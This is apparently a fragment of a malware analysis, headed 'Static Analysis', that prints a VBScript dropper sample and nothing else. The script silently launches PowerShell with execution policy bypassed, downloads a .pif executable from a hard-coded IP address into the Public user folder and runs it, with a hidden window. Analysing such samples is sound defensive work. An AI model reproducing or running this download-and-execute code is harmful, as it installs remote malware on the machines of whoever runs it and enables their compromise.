Static Analysis

Set objlun = CreateObject("WScript.Shell")

' Download and run the PowerShell script

objlun.Run "powershell.exe -ExecutionPolicy Bypass -Command ""& { Invoke-WebRequest -Uri 'http://37.139.128.83/black/b.pif' -OutFile 'C:\Users\Public\b.pif'; C:\Users\Public\b.pif }""", 0, True